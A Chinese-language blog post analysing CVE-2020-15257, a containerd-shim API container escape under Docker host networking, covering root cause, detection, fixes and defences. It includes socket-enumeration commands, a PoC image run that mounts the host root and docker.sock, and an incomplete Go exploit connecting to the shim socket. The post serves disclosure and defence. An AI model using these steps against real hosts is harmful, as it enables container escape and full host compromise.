CVE-2020-15257-host下利用containerd-shim API逃逸docker

1 简介

Containerd是一个开源的行业标准容器运行时,关注于简单、稳定和可移植,同时支持Linux和Windows,用于Docker和Kubernetes的容器管理、运行。
漏洞编号:CVE-2020-15257
由于在 host 模式下,容器与 host 共享一套 Network namespaces ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问。所以当一个容器为 root 权限,且容器的网络模式为 --net=host 的时候,通过 ontainerd-shim API 可以达成容器逃逸的目的。

2 影响范围

Containerd Project
受影响版本:
<=1.3.7
<=1.4.1
安全版本:
1.3.9
1.4.3

3 分析

3.1 基础

  1. Docker相关进程关系
    在1.11版本中,Docker进行了重大的重构,由单一的Docker Daemon,拆分成了4个独立的模块:Docker Daemon、containerd、containerd-shim、runC

    A. Docker Daemon:面向前端用户,负责和Docker client交互,对应的命令行工具是docker,提供了构建、拉取镜像,管理、运行容器的大部分功能。
    B. Containerd:为了兼容OCI标准,Docker Daemon中的容器运行时及其管理功能剥离了出来,形成了containerd。docker对容器的管理和操作基本都是通过containerd完成的。它向上为Docker Daemon提供了gRPC接口,向下通过containerd-shim结合runC,实现对容器的管理控制。containerd还提供了可用于与其交互的API和客户端应用程序ctr,所以实际上,即使不运行Docker Daemon,也能够直接通过containerd来运行、管理容器。
    C. containerd-shim:夹杂在containerd和runc之间,每次启动一个容器,都会创建一个新的containerd-shim进程,它通过指定的三个参数:容器id、bundle目录、运行时二进制文件路径,来调用运行时的API创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给containerd。
    D. runc:根据官方定义,runC是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool。Docker、containerd针对容器的运行相关操作,最终将落实到runc上来实现。

  2. Unix套接字
    在Linux系统中,有一种Unix域套接字,可以用于同一个主机上的进程之间进行通信,它的API调用方法和普通的TCP/IP的套接字一样,也是调用socket函数创建一个套接字,域设置成AF_UNIX,套接字的类型可以是流套接字(SOCK_STREAM)和数据报套接字(SOCK_DGRAM):

socket(AF_UNIX, SOCK_STREAM, 0);  // Unix域流套接字
socket(AF_UNIX,SOCK_DGRAM, 0);   // Unix域数据报套接字

在调用socket()函数获得新创建的Unix域套接字的文件描述符之后,再调用bind()函数将它绑定到一个本地地址上,此时需要创建并初始化一个sockaddr_un结构体,如下所示:

struct sockaddr_un { 
     sa_family_t sun_family; 
     char sun_path[108]; 
}                       

第一个字段需要设置成“AF_UNIX”,第二个字段表示的是一个路径名,它分为两种:
A. 普通的文件路径:它是一个合法的Linux文件路径,以NULL结尾。在绑定一个Unix域套接字时,会在文件系统中的相应位置上创建一个文件,当不再需要这个Unix域套接字时,可以使用remove()函数或者unlink()函数将这个对应的文件删除。如果在文件系统中,已经有了一个文件和指定的路径名相同,则绑定会失败。
B. 抽象名字空间路径:抽象名字空间路径以NULL开始,后面可以跟任何数据,甚至可以是NULL,可以不以NULL结尾。相对于普通的文件路径,这种地址在文件系统上并没有实际的文件与它相对应,也就是说,它不会在文件系统中创建出一个新的文件。在Unix域套接字的文件描述符关闭的时候就会自动消失,所以无需担心与文件系统中已存在的文件产生命名冲突,也不需要在使用完套接字之后删除附带产生的这个文件。

  1. docker网络模式
    在使用docker run命令创建并运行容器时,可以使用--network选项指定容器的网络模式。Docker有以下4种网络模式:
    A. none:这种模式下容器内部只有loopback回环网络,没有其他网卡,不能访问外网,完全封闭的网络;
    B. container:指定一个已经存在的容器名字,新的容器会和这个已经存在的容器共享一个网络命名空间,IP、端口范围一起在这两个容器中也可共享;
    C. bridge:这是docker默认的网络模式,会为每一个容器分配网络命名空间,设置IP,保证容器内的进程使用独立的网络环境,使得容器和容器之间、容器和主机之间实现网络隔离;
    D. host:这种模式下,容器和主机已经没有网络隔离了,它们共享同一个网络命名空间,容器的网络配置和主机完全一样,使用主机的IP地址和端口,可以查看到主机所有网卡信息、网络资源,在网络性能上没有损耗。但也正是因为没有网络隔离,容器和主机容易产生网络资源冲突、争抢,以及其他的一些问题。本文所述漏洞也是在这种模式下产生的。

3.2 漏洞成因

前文所述,每次启动一个容器时,containerd会创建一个新的containerd-shim进程,由containerd-shim进程(而不是containerd)来直接控制容器的整个生命周期。

containerd在创建containerd-shim之前,会创建一个Unix域套接字,设置的是抽象名字空间路径:
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/linux/bundle.go#L136

136 func   (b *bundle) shimAddress(namespace string) string {
137     d   := sha256.Sum256([]byte(filepath.Join(namespace, b.id)))
138     return   filepath.Join(string(filepath.Separator), "containerd-shim",   fmt.Sprintf("%x.sock", d))

139 }

https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/client/client.go#L217

217 func   newSocket(address string) (*net.UnixListener, error) {
218     if   len(address) > 106 {
219         return   nil, errors.Errorf("%q: unix socket path too long (> 106)",   address)
220     }
221     l,   err := net.Listen("unix", "\x00"+address)
222     if   err != nil {
223         return   nil, errors.Wrapf(err, "failed to listen to abstract unix socket   %q", address)
224     }
225
226     return   l.(*net.UnixListener), nil
227 }

注意221行中,address前面加上了一个”\x00”,这个就表示抽象名字空间路径的Unix域套接字。

containerd传递Unix域套接字文件描述符给containerd-shim。containerd-shim在正式启动之后,会基于父进程(也就是containerd)传递的Unix域套接字文件描述符,建立gRPC服务,对外暴露一些API用于container、task的控制:
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/v1/shim.proto#L18

service Shim {

    //   State returns shim and task state information.

    rpc   State(StateRequest) returns (StateResponse);

    rpc   Create(CreateTaskRequest) returns (CreateTaskResponse);

    rpc   Start(StartRequest) returns (StartResponse);

    rpc   Delete(google.protobuf.Empty) returns (DeleteResponse);

    rpc   DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);

    rpc   ListPids(ListPidsRequest) returns (ListPidsResponse);

    rpc   Pause(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc   Resume(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc   Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);

    rpc   Kill(KillRequest) returns (google.protobuf.Empty);

    rpc   Exec(ExecProcessRequest) returns (google.protobuf.Empty);

    rpc   ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);

    rpc   CloseIO(CloseIORequest) returns (google.protobuf.Empty);

    //   ShimInfo returns information about the shim.

    rpc   ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);

    rpc   Update(UpdateTaskRequest) returns (google.protobuf.Empty);

    rpc   Wait(WaitRequest) returns (WaitResponse);

}

此时,containerd-shim做为server向外提供服务,containerd做为client,调用containerd-shim提供的API实现对容器的间接管理。

抽象Unix域套接字没有权限限制,所以只能靠连接进程的UID、GID做访问控制,限定了只能是root(UID=0,GID=0)用户才能连接成功。
https://github.com/containerd/containerd/blob/v1.4.2/vendor/github.com/containerd/ttrpc/unixcreds_linux.go#L80

80  //   UnixSocketRequireSameUser resolves the current effective unix user and   returns a

81  //   UnixCredentialsFunc that will validate incoming unix connections against the

82  //   current credentials.

83  //

84  //   This is useful when using abstract sockets that are accessible by all users.

85  func   UnixSocketRequireSameUser() UnixCredentialsFunc {

86      euid,   egid := os.Geteuid(), os.Getegid()

87      return   UnixSocketRequireUidGid(euid, egid)

88  }

通过访问/proc/net/unix文件,可以获取到当前网络命名空间下所有的Unix域套接字信息。

在默认情况下,docker run启动的容器的网络模式是bridge,容器和主机之间实现了网络隔离,所以在容器内部读取/proc/net/unix文件,看不到任何信息,如下所示:

[root@centos ~]# docker run -ti --rm busybox
  / # cat /proc/net/unix
  Num       RefCount   Protocol Flags    Type St Inode Path
  / # 

但是在host模式下,由于容器和主机共享同一个网络命名空间,容器能访问到主机中的所有网络资源,所以在容器内部读取/proc/net/unix文件,显示的就是真实主机中的信息,如下所示:

[root@centos ~]# docker run -ti --rm --network=host  busybox
  / # cat /proc/net/unix
  Num       RefCount   Protocol Flags    Type St Inode Path
  ......................................................................................
  ffff8fccfce39980: 00000003 00000000 00000000   0001 03 19728
  ffff8fccfce35940: 00000003 00000000 00000000   0001 03 19713
  ffff8fccdc4dd940: 00000003 00000000 00000000   0001 03 30927
  ffff8fccfce41100: 00000003 00000000 00000000   0001 03 19756
  ffff8fccf6003fc0: 00000003 00000000 00000000   0001 03 15925
  ......................................................................................
  ffff8fccdc590cc0: 00000003 00000000 00000000   0001 03 39217   @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
  ......................................................................................
  ffff8fccdc4df2c0: 00000003 00000000 00000000   0001 03 28826 /run/containerd/containerd.sock
  ......................................................................................
  ffff8fccdc4dcc80: 00000003 00000000 00000000   0001 03 39197 /var/run/docker.sock
  ......................................................................................
  1. /var/run/docker.sock:Docker Daemon监听的Unix域套接字,用于Docker client之间通信
  2. /run/containerd/containerd.sock:containerd监听的Unix域套接字,Docker Daemon、ctr可以通过它和containerd通信
  3. @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock:这个就是上文所述的,containerd-shim监听的Unix域套接字,containerd通过它和containerd-shim通信,控制管理容器。

/var/run/docker.sock/run/containerd/containerd.sock这两者是普通的文件路径,虽然容器共享了主机的网络命名空间,但没有共享mnt命名空间,容器和主机之间的磁盘挂载点和文件系统仍然存在隔离,所以在容器内部仍然不能通过/var/run/docker.sock/run/containerd/containerd.sock这样的路径连接对应的Unix域套接字。

但是@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock这一类的抽象Unix域套接字不一样,它没有依靠mnt命名空间做隔离,而是依靠网络命名空间做隔离,也就是说,host模式下,容器共享了主机的网络命名空间,也就能够去连接@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock这一类的抽象Unix域套接字。

而且在默认情况下,容器内部的进程都是以root用户启动的,所以也能通过UnixSocketRequireSameUser的校验。

在这两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

3.3 个人总结

  1. containerd-shim提供的API能实现对容器的间接管理

  2. containerd-shim监听的Unix域套接字仅对访问进程的UID做限制,限定了只能是root(UID=0,GID=0)用户才能连接成功

  3. 当容器使用host模式启动时,由于容器和主机共享同一个网络命名空间,容器能访问到主机中的所有网络资源,所以容器内的进程能够获取并连接containerd-shim监听的抽象Unix域套接字

基于以上三点,当攻击者在host模式且有漏洞的容器内,提权至root后,可以通过cat /proc/net/unix | grep 'containerd-shim' | grep '@'获取宿主机containerd-shim监听的Unix域套接字,并连接它来调用containerd-shim提供的API,进而逃逸容器

4 复现

4.1 检测

  1. 本地自测
    一看版本,二看能否获取套接字
sudo docker run -itd --network=host ubuntu:latest /bin/bash
docker exec -it 33bebb0e2d3c /bin/bash
cat /proc/net/unix | grep 'containerd-shim' | grep '@'

可看到抽象命名空间Unix域套接字,根据漏洞描述通过图片中的抽象命名空间Unix域套接字可访问dockerd-shim rpc api

  1. 也可使用小佑科技提供的POC镜像
    sudo docker run -it --rm -v /:/host/ -v /var/run/docker.sock:/var/run/docker.sock --net=host dosecteam/pocs:CVE-2020-15257

  2. 集群自测
    查看共享了主机网络的pod
    kubectl get pod --all-namespaces -o custom-columns=namespace:.metadata.namespace,CONTAINER:.spec.containers[0].name,NetWork:.spec.hostNetwork,hostname:.spec.nodeName,nodeIP:.status.hostIP | grep true

  3. 张一白的POC

4.2 利用

通过查阅代码,我们大概知道我们如果能正常访问 containerd-shim 接口,我们大概能有这些操作
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/v1/shim.proto
这些接口,从名字基本可以猜测与容器管理说有关系的, 比如 Create 、Start 、Delete

service Shim {
    // State returns shim and task state information.
    rpc State(StateRequest) returns (StateResponse);

    rpc Create(CreateTaskRequest) returns (CreateTaskResponse);

    rpc Start(StartRequest) returns (StartResponse);

    rpc Delete(google.protobuf.Empty) returns (DeleteResponse);

    rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);

    rpc ListPids(ListPidsRequest) returns (ListPidsResponse);

    rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);

    rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);

    rpc Kill(KillRequest) returns (google.protobuf.Empty);

    rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);

    rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);

    rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);

    // ShimInfo returns information about the shim.
    rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);

    rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);

    rpc Wait(WaitRequest) returns (WaitResponse);
}

非完整的利用EXP,来自小佑科技,期待大佬补全
参考containerd官网源码,可以在容器内访问到该socket文件。然后可启动一个新的容器,该容器挂载宿主机根目录到容器内的/host目录,即可实现对宿主机完全读写,达到容器逃逸的目的。

package main

import (
    "fmt"
    "net"
    "os"
    "regexp")

func getshimunixpath() (string, error) {
    file, err := os.Open("/proc/net/unix")
    if err != nil {
        return "", err
    }
    var b []byte = make([]byte, 0x1fff)
    file.Read(b)
    defer file.Close()
    socklist := string(b)

    regString := "/containerd-shim/moby/[a-f 0-9]{64}/shim.sock"
    reg, _ := regexp.Compile(regString)
    path := reg.FindString(socklist)

    if path == "" {
        err = fmt.Errorf("no sock file found")
        return "", err
    }
    path = "\x00" + path
    return path, err
}

func main() {
    shimunixpath, err := getshimunixpath()
    if err != nil {
        fmt.Println(err)
        return
    }
    conn, err := net.Dial("unix", shimunixpath)
    if err != nil {
        fmt.Println(err)
        return
    }
    //do something with this connection
    //此处省略关键信息,自行脑补
    //此处省略关键信息,自行脑补
    //此处省略关键信息,自行脑补

    defer conn.Close()
}

4.3 集成工具

https://github.com/Xyntax/CDK/wiki/Evaluate:-Net-Namespace
./cdk_linux_amd64 evaluate --full
没测出来
https://github.com/PercussiveElbow/docker-escape-tool
./docker-escape auto

5 修复与防御

修复:

  1. 升级 containerd 至最新版本。
    containerd >= 1.4.3
    containerd >= 1.3.9
  2. 如果运行的容器配置易受攻击,则可以通过添加类似于deny unix addr=@** 策略的行来拒绝通过AppArmor访问所有抽象套接字。

防御:
在没有打补丁的情况下,可以采取以下一些防御措施:

  1. 容器的网络模式尽量不采用host模式,尽量实现严格的容器和主机命名空间的隔离
  2. 以非root用户运行容器
  3. 采用AppArmor、SELinux,限制容器内部进程对抽象Unix域套接字的访问

最佳实践是使用一组减少的特权,一个非零的UID和隔离的名称空间来运行容器。强烈建议不要与主机共享名称空间。

6 参考

docker 容器逃逸漏洞(CVE-2020-15257)风险通告
【首发】CVE-2020-15257 容器逃逸漏洞复现与解析附Poc
host模式容器逃逸漏洞(CVE-2020-15257)技术分析
CVE-2020-15257 Docker (容器逃逸)分析

posted @ 2020-12-06 22:04  雨九九  阅读(911)  评论(0编辑  收藏  举报